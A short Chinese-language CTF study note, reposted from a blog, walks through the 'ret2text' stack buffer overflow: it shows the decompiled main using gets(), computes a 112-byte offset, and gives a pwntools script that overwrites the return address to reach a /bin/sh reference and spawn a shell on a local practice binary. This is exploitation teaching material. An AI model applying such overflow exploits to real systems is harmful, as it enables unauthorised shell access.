pwn学习笔记-ret2text

原文引用https://www.dazhuanlan.com/2019/08/25/5d622cf80cbe3/


查看进程基本信息

开启了NX,代表着栈上的数据是不可执行的

运行进程看一下

进程只有一个输入点,下面将进程拖入ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(&s);
  printf("Maybe I will tell you next time !");
  return 0;
}

看到了无输入限制的gets函数,我们接下来计算一下进程gets函数的返回地址

可以看到地址是0x62616164,下面计算我们需要填充的字节数

需要填充112个无用字符

接下来我们在ida中查看是否存在/bin/sh

在地址0x0804863A处存在/bin/sh

接下来编写shell脚本

from pwn import *

p = process("./ret2text")

p.recvuntil('anything?n')

p.sendline('a'*112+p32(0x0804863A))

p.interactive()

成功获得权限

猜你喜欢

转载自www.cnblogs.com/petewell/p/11408076.html